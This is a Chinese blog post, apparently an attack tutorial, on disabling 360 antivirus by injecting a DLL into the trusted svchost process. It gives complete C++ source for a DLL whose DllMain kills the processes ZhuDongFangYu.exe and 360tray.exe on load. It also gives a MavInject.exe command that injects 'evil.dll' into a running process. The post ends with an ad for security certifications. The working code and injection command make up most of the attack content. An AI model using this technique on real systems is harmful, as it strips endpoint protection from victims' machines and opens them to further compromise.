通过上一篇文章我们知道可以通过搜索字符串来判断杀软的拦截规则,
参考这个https://bbs.kanxue.com/thread-281120.htm逆向分析以及我们的内存搜索,我们可以发现许多白名单进程,特别是一些系统常驻进程。白名单进程因为受到防病毒软件的信任,往往不会被严格监控,因此可以作为攻击者的突破口。
在这些常驻进程中,svchost
(Service Host Process)是一个较为典型的例子。
svchost
是Windows系统中的核心进程,用于托管和运行各种服务,具有极高的系统权限。然而,svchost
并非PPL(Protected Process Light)进程,所以我们可以很轻松的对它冻手
// dllmain.cpp : 定义 DLL 应用程序的入口点。
// 查找并终止指定的进程
bool TerminateProcessByName(const wchar_t* processName) {
// 获取系统进程快照
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return false;
}
PROCESSENTRY32 processEntry;
processEntry.dwSize = sizeof(PROCESSENTRY32);
// 遍历进程列表
if (Process32First(hSnapshot, &processEntry)) {
do {
// 如果找到匹配的进程名
if (wcscmp(processEntry.szExeFile, processName) == 0) {
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, processEntry.th32ProcessID);
if (hProcess != NULL) {
// 终止进程
TerminateProcess(hProcess, 0);
CloseHandle(hProcess);
}
}
} while (Process32Next(hSnapshot, &processEntry));
}
CloseHandle(hSnapshot);
return true;
}
void kill() {
TerminateProcessByName(L"ZhuDongFangYu.exe");
TerminateProcessByName(L"360tray.exe");
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
kill();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
编译以上DLL后选择你喜欢的任意一种注入方式,这里为了方便演示,我们使用LOLBin进行注入
MavInject.exe 3110 /INJECTRUNNING c:\folder\evil.dll
效果:
信 安 考 证
CISP、PTE、PTS、DSG、IRE、IRS、NISP、PMP、CCSK、CISSP、ISO27001... |